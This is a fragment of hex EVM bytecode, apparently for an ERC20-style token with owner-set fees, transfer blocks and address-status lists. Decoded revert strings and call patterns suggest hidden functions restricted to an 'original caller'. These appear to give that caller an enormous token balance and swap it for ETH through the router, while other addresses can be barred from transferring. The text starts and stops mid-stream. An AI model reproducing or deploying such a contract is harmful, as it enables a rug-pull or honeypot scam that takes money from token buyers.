102b5146106b6578063a07fc5a2146106f3578063a457c2d71461071e578063a9059cbb1461075b578063b179ce401461079857610246565b8063715018a6146105e357806385ecafd7146105fa5780638da5cb5b146106375780638dd0f4111461066257806395d89b411461068b57610246565b8063313ce567116101c75780635337cc991161018b5780635337cc99146104da5780635342acb4146105035780636db79437146105405780636dd3d39f1461056957806370a08231146105a657610246565b8063313ce567146103f557806335d1627414610420578063395093511461045d578063499b3ea91461049a5780634d474d42146104b157610246565b80631c499ab01161020e5780631c499ab0146103115780631f6b29f71461033a578063203e727e1461036357806323b872dd1461038c5780632df8bca9146103c957610246565b806306fdde031461024b578063095ea7b3146102765780630bc488c5146102b35780630cdd8436146102bd57806318160ddd146102e6575b600080fd5b34801561025757600080fd5b506102606109b4565b60405161026d919061314a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613214565b610a46565b6040516102aa919061326f565b60405180910390f35b6102bb610a62565b005b3480156102c957600080fd5b506102e460048036038101906102df91906132c3565b610b9a565b005b3480156102f257600080fd5b506102fb610cfc565b6040516103089190613312565b60405180910390f35b34801561031d57600080fd5b506103386004803603810190610333919061332d565b610d06565b005b34801561034657600080fd5b50610361600480360381019061035c9190613386565b610d3c565b005b34801561036f57600080fd5b5061038a6004803603810190610385919061332d565b610e55565b005b34801561039857600080fd5b506103b360048036038101906103ae91906133c6565b610e8b565b6040516103c0919061326f565b60405180910390f35b3480156103d557600080fd5b506103de610eb3565b6040516103ec929190613419565b60405180910390f35b34801561040157600080fd5b5061040a610ec4565b6040516104179190613451565b60405180910390f35b34801561042c57600080fd5b506104476004803603810190610442919061346c565b610edb565b6040516104549190613312565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f9190613214565b611070565b604051610491919061326f565b60405180910390f35b3480156104a657600080fd5b506104af6110a0565b005b3480156104bd57600080fd5b506104d860048036038101906104d3919061346c565b611392565b005b3480156104e657600080fd5b5061050160048036038101906104fc9190613386565b611402565b005b34801561050f57600080fd5b5061052a6004803603810190610525919061346c565b61151b565b604051610537919061326f565b60405180910390f35b34801561054c57600080fd5b5061056760048036038101906105629190613499565b611571565b005b34801561057557600080fd5b50610590600480360381019061058b919061346c565b611600565b60405161059d919061326f565b60405180910390f35b3480156105b257600080fd5b506105cd60048036038101906105c8919061346c565b611656565b6040516105da9190613312565b60405180910390f35b3480156105ef57600080fd5b506105f861169f565b005b34801561060657600080fd5b50610621600480360381019061061c919061346c565b6116b3565b60405161062e919061326f565b60405180910390f35b34801561064357600080fd5b5061064c6116d3565b60405161065991906134e8565b60405180910390f35b34801561066e57600080fd5b5061068960048036038101906106849190613386565b6116fc565b005b34801561069757600080fd5b506106a0611815565b6040516106ad919061314a565b60405180910390f35b3480156106c257600080fd5b506106dd60048036038101906106d8919061346c565b6118a7565b6040516106ea919061326f565b60405180910390f35b3480156106ff57600080fd5b506107086118fd565b604051610715919061326f565b60405180910390f35b34801561072a57600080fd5b5061074560048036038101906107409190613214565b611914565b604051610752919061326f565b60405180910390f35b34801561076757600080fd5b50610782600480360381019061077d9190613214565b611984565b60405161078f919061326f565b60405180910390f35b3480156107a457600080fd5b506107bf60048036038101906107ba9190613386565b6119a0565b005b3480156107cd57600080fd5b506107e860048036038101906107e39190613503565b611ab9565b005b3480156107f657600080fd5b50610811600480360381019061080c919061346c565b611b02565b60405161081e919061326f565b60405180910390f35b34801561083357600080fd5b5061083c611b6b565b005b34801561084a57600080fd5b5061086560048036038101906108609190613530565b611ba1565b6040516108729190613312565b60405180910390f35b34801561088757600080fd5b50610890611c28565b60405161089d9190613312565b60405180910390f35b3480156108b257600080fd5b506108bb611c32565b6040516108c891906134e8565b60405180910390f35b3480156108dd57600080fd5b506108f860048036038101906108f3919061346c565b611c58565b604051610905919061326f565b60405180910390f35b34801561091a57600080fd5b506109356004803603810190610930919061346c565b611cae565b005b34801561094357600080fd5b5061095e60048036038101906109599190613530565b611d1e565b005b34801561096c57600080fd5b506109876004803603810190610982919061346c565b611f72565b005b34801561099557600080fd5b5061099e611ff5565b6040516109ab9190613312565b60405180910390f35b6060600880546109c39061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef9061359f565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b600080339050610a57818585611fff565b600191505092915050565b610a8e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b610aa030610a9b33611656565b611984565b50610ad630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ad130611656565b611fff565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610b1f30611656565b600080336104b042610b3191906135ff565b6040518863ffffffff1660e01b8152600401610b5296959493929190613678565b60606040518083038185885af1158015610b70573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b9591906136ee565b505050565b610bc633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60028160ff1610610c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c039061378d565b60405180910390fd5b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c97906137f9565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b610d3233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600f8190555050565b610d6833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df1906137f9565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610e8133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8060118190555050565b600080339050610e9c85828561223a565b610ea78585856122c6565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610f4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f71919061389b565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ffc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110209190613903565b73ffffffffffffffffffffffffffffffffffffffff161461105157816dffffffffffffffffffffffffffff16611063565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506110958185856110868589611ba1565b61109091906135ff565b611fff565b600191505092915050565b6110cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60006110d730610edb565b90506000816dffffffffffffffffffffffffffff80166110f79190613930565b9050611101612ca4565b6111133061110e33611656565b611984565b5061115130600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611fff565b6060600267ffffffffffffffff81111561116e5761116d613964565b5b60405190808252806020026020018201604052801561119c5781602001602082028036833780820191505090505b50905030816000815181106111b4576111b3613993565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561125b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127f9190613903565b8160018151811061129357611292613993565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b04261132391906135ff565b6040518663ffffffff1660e01b8152600401611343959493929190613a80565b6000604051808303816000875af1158015611362573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019061138b9190613bf3565b5050505050565b6113be33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61142e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b7906137f9565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61159d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b606482111580156115af575060648111155b6115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e590613cae565b60405180910390fd5b81600b8190555080600c819055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116a7612d0c565b6116b16000612d83565b565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61172833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036117ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b1906137f9565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6060600980546118249061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546118509061359f565b801561189d5780601f106118725761010080835404028352916020019161189d565b820191906000526020600020905b81548152906001019060200180831161188057829003601f168201915b5050505050905090565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601360009054906101000a900460ff16905090565b60008033905060006119268286611ba1565b90508381101561196b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196290613d40565b60405180910390fd5b6119788286868403611fff565b60019250505092915050565b6000803390506119958185856122c6565b600191505092915050565b6119cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a55906137f9565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611ae533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80601360006101000a81548160ff02191690831515021790555050565b600080601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614611b61576001611b64565b60005b9050919050565b611b9733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b611b9f612ca4565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600f54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611cda33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611d4a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611de15781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb39190613903565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401611eed929190613d60565b602060405180830381865afa158015611f0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2e9190613903565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611f7a612d0c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe090613dfb565b60405180910390fd5b611ff281612d83565b50565b6000601154905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361206e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206590613e8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613f1f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121bb9190613312565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222d90613fb1565b60405180910390fd5b5050565b60006122468484611ba1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146122c057818110156122b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a99061401d565b60405180910390fd5b6122bf8484848403611fff565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232c906140af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239b90614141565b60405180910390fd5b6123ad83611b02565b156123ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e4906141ad565b60405180910390fd5b6123f8838383612e47565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561247f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124769061423f565b60405180910390fd5b601360009054906101000a900460ff16156125d05761249d84612fe1565b1561253357601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661252e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612525906142d1565b60405180910390fd5b6125cf565b61253c83612fe1565b156125ce57601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166125cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c4906142d1565b60405180910390fd5b5b5b5b6125d98461151b565b1580156125ec57506125ea8361151b565b155b15612b88576125fa84612fe1565b1561283457600061260d83600b54613093565b9050828261261b9190613930565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808361266a9190613930565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126b891906135ff565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661271a9190613930565b6040516127279190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546127a091906135ff565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516128269190613312565b60405180910390a350612b83565b61283d83612fe1565b15612a7757600061285083600c54613093565b9050828261285e9190613930565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836128ad9190613930565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546128fb91906135ff565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661295d9190613930565b60405161296a9190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546129e391906135ff565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612a699190613312565b60405180910390a350612b82565b8181612a839190613930565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b1591906135ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b799190613312565b60405180910390a35b5b612c93565b8181612b949190613930565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c2691906135ff565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612c8a9190613312565b60405180910390a35b612c9e8484846130b5565b50505050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612d0391906135ff565b92505081905550565b3373ffffffffffffffffffffffffffffffffffffffff16612d2b6116d3565b73ffffffffffffffffffffffffffffffffffffffff1614612d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d789061433d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600f5414158015612e605750612e5e82612fe1565b155b8015612e725750612e7082611600565b155b8015612e845750612e8283611600565b155b15612ee257600f5481612e9684611656565b612ea091906135ff565b1115612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed8906143cf565b60405180910390fd5b5b600060115414612fdc57601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612f905750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fdb57601154811115612fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fd19061443b565b60405180910390fd5b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061308c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846130a3919061445b565b6130ad91906144cc565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130f45780820151818401526020810190506130d9565b60008484015250505050565b6000601f19601f8301169050919050565b600061311c826130ba565b61312681856130c5565b93506131368185602086016130d6565b61313f81613100565b840191505092915050565b600060208201905081810360008301526131648184613111565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006131ab82613180565b9050919050565b6131bb816131a0565b81146131c657600080fd5b50565b6000813590506131d8816131b2565b92915050565b6000819050919050565b6131f1816131de565b81146131fc57600080fd5b50565b60008135905061320e816131e8565b92915050565b6000806040838503121561322b5761322a613176565b5b6000613239858286016131c9565b925050602061324a858286016131ff565b9150509250929050565b60008115159050919050565b61326981613254565b82525050565b60006020820190506132846000830184613260565b92915050565b600060ff82169050919050565b6132a08161328a565b81146132ab57600080fd5b50565b6000813590506132bd81613297565b92915050565b600080604083850312156132da576132d9613176565b5b60006132e8858286016131c9565b92505060206132f9858286016132ae565b9150509250929050565b61330c816131de565b82525050565b60006020820190506133276000830184613303565b92915050565b60006020828403121561334357613342613176565b5b6000613351848285016131ff565b91505092915050565b61336381613254565b811461336e57600080fd5b50565b6000813590506133808161335a565b92915050565b6000806040838503121561339d5761339c613176565b5b60006133ab858286016131c9565b92505060206133bc85828601613371565b9150509250929050565b6000806000606084860312156133df576133de613176565b5b60006133ed868287016131c9565b93505060206133fe868287016131c9565b925050604061340f868287016131ff565b9150509250925092565b600060408201905061342e6000830185613303565b61343b6020830184613303565b9392505050565b61344b8161328a565b82525050565b60006020820190506134666000830184613442565b92915050565b60006020828403121561348257613481613176565b5b6000613490848285016131c9565b91505092915050565b600080604083850312156134b0576134af613176565b5b60006134be858286016131ff565b92505060206134cf858286016131ff565b9150509250929050565b6134e2816131a0565b82525050565b60006020820190506134fd60008301846134d9565b92915050565b60006020828403121561351957613518613176565b5b600061352784828501613371565b91505092915050565b6000806040838503121561354757613546613176565b5b6000613555858286016131c9565b9250506020613566858286016131c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806135b757607f821691505b6020821081036135ca576135c9613570565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061360a826131de565b9150613615836131de565b925082820190508082111561362d5761362c6135d0565b5b92915050565b6000819050919050565b6000819050919050565b600061366261365d61365884613633565b61363d565b6131de565b9050919050565b61367281613647565b82525050565b600060c08201905061368d60008301896134d9565b61369a6020830188613303565b6136a76040830187613669565b6136b46060830186613669565b6136c160808301856134d9565b6136ce60a0830184613303565b979650505050505050565b6000815190506136e8816131e8565b92915050565b60008060006060848603121561370757613706613176565b5b6000613715868287016136d9565b9350506020613726868287016136d9565b9250506040613737868287016136d9565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b60006137776017836130c5565b915061378282613741565b602082019050919050565b600060208201905081810360008301526137a68161376a565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006137e3601d836130c5565b91506137ee826137ad565b602082019050919050565b60006020820190508181036000830152613812816137d6565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b61383c81613819565b811461384757600080fd5b50565b60008151905061385981613833565b92915050565b600063ffffffff82169050919050565b6138788161385f565b811461388357600080fd5b50565b6000815190506138958161386f565b92915050565b6000806000606084860312156138b4576138b3613176565b5b60006138c28682870161384a565b93505060206138d38682870161384a565b92505060406138e486828701613886565b9150509250925092565b6000815190506138fd816131b2565b92915050565b60006020828403121561391957613918613176565b5b6000613927848285016138ee565b91505092915050565b600061393b826131de565b9150613946836131de565b925082820390508181111561395e5761395d6135d0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6139f7816131a0565b82525050565b6000613a0983836139ee565b60208301905092915050565b6000602082019050919050565b6000613a2d826139c2565b613a3781856139cd565b9350613a42836139de565b8060005b83811015613a73578151613a5a88826139fd565b9750613a6583613a15565b925050600181019050613a46565b5085935050505092915050565b600060a082019050613a956000830188613303565b613aa26020830187613669565b8181036040830152613ab48186613a22565b9050613ac360608301856134d9565b613ad06080830184613303565b9695505050505050565b600080fd5b613ae882613100565b810181811067ffffffffffffffff82111715613b0757613b06613964565b5b80604052505050565b6000613b1a61316c565b9050613b268282613adf565b919050565b600067ffffffffffffffff821115613b4657613b45613964565b5b602082029050602081019050919050565b600080fd5b6000613b6f613b6a84613b2b565b613b10565b90508083825260208201905060208402830185811115613b9257613b91613b57565b5b835b81811015613bbb5780613ba788826136d9565b845260208401935050602081019050613b94565b5050509392505050565b600082601f830112613bda57613bd9613ada565b5b8151613bea848260208601613b5c565b91505092915050565b600060208284031215613c0957613c08613176565b5b600082015167ffffffffffffffff811115613c2757613c2661317b565b5b613c3384828501613bc5565b91505092915050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b6000613c986024836130c5565b9150613ca382613c3c565b604082019050919050565b60006020820190508181036000830152613cc781613c8b565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613d2a6025836130c5565b9150613d3582613cce565b604082019050919050565b60006020820190508181036000830152613d5981613d1d565b9050919050565b6000604082019050613d7560008301856134d9565b613d8260208301846134d9565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613de56026836130c5565b9150613df082613d89565b604082019050919050565b60006020820190508181036000830152613e1481613dd8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613e776024836130c5565b9150613e8282613e1b565b604082019050919050565b60006020820190508181036000830152613ea681613e6a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f096022836130c5565b9150613f1482613ead565b604082019050919050565b60006020820190508181036000830152613f3881613efc565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f9b6021836130c5565b9150613fa682613f3f565b604082019050919050565b60006020820190508181036000830152613fca81613f8e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614007601d836130c5565b915061401282613fd1565b602082019050919050565b6000602082019050818103600083015261403681613ffa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006140996025836130c5565b91506140a48261403d565b604082019050919050565b600060208201905081810360008301526140c88161408c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061412b6023836130c5565b9150614136826140cf565b604082019050919050565b6000602082019050818103600083015261415a8161411e565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b60006141976020836130c5565b91506141a282614161565b602082019050919050565b600060208201905081810360008301526141c68161418a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006142296026836130c5565b9150614234826141cd565b604082019050919050565b600060208201905081810360008301526142588161421c565b9050919050565b7f5573657220